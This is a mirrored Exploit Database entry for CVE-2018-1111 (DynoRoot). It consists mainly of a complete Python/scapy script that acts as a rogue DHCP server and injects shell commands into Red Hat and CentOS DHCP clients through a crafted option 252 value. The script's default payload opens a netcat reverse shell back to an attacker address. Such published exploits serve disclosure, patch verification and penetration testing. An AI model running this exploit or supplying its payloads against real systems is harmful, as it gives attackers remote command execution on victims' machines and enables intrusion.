DynoRoot DHCP Client – Command Injection

• Exploit Database
• 22 阅读

• 作者： Kevin Kirsche
  日期： 2018-05-18
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/44652/

• # Exploit Title: DynoRoot DHCP - Client Command Injection
  # Date: 2018-05-18
  # Exploit Author: Kevin Kirsche
  # Exploit Repository: https://github.com/kkirsche/CVE-2018-1111
  # Exploit Discoverer: Felix Wilhelm
  # Vendor Homepage: https://www.redhat.com/
  # Version: RHEL 6.x / 7.x and CentOS 6.x/7.x
  # Tested on: CentOS Linux release 7.4.1708 (Core)/ NetworkManager 1.8.0-11.el7_4
  # CVE : CVE-2018-1111
  
  #!/usr/bin/env python
  
  from argparse import ArgumentParser
  from scapy.all import BOOTP_am, DHCP
  from scapy.base_classes import Net
  
  
  class DynoRoot(BOOTP_am):
  function_name = "dhcpd"
  
  def make_reply(self, req):
  resp = BOOTP_am.make_reply(self, req)
  if DHCP in req:
  dhcp_options = [(op[0], {1: 2, 3: 5}.get(op[1], op[1]))
  for op in req[DHCP].options
  if isinstance(op, tuple) and op[0] == "message-type"]
  dhcp_options += [("server_id", self.gw),
   ("domain", self.domain),
   ("router", self.gw),
   ("name_server", self.gw),
   ("broadcast_address", self.broadcast),
   ("subnet_mask", self.netmask),
   ("renewal_time", self.renewal_time),
   ("lease_time", self.lease_time),
   (252, "x'&{payload} #".format(payload=self.payload)),
   "end"
   ]
  resp /= DHCP(options=dhcp_options)
  return resp
  
  
  if __name__ == '__main__':
  parser = ArgumentParser(description='CVE-2018-1111 DynoRoot exploit')
  
  parser.add_argument('-i', '--interface', default='eth0', type=str,
  dest='interface',
  help='The interface to listen for DHCP requests on (default: eth0)')
  parser.add_argument('-s', '--subnet', default='192.168.41.0/24', type=str,
  dest='subnet', help='The network to assign via DHCP (default: 192.168.41.0/24)')
  parser.add_argument('-g', '--gateway', default='192.168.41.254', type=str,
  dest='gateway', help='The network gateway to respond with (default: 192.168.41.254)')
  parser.add_argument('-d', '--domain', default='victim.net', type=str,
  dest='domain', help='Domain to assign (default: victim.net)')
  parser.add_argument('-p', '--payload', default='nc -e /bin/bash 192.168.41.2 1337', type=str,
  dest='payload', help='The payload / command to inject (default: nc -e /bin/bash 192.168.41.2 1337)')
  
  args = parser.parse_args()
  server = DynoRoot(iface=args.interface, domain=args.domain,
  pool=Net(args.subnet),
  network=args.subnet,
  gw=args.gateway,
  renewal_time=600, lease_time=3600)
  server.payload = args.payload
  
  server()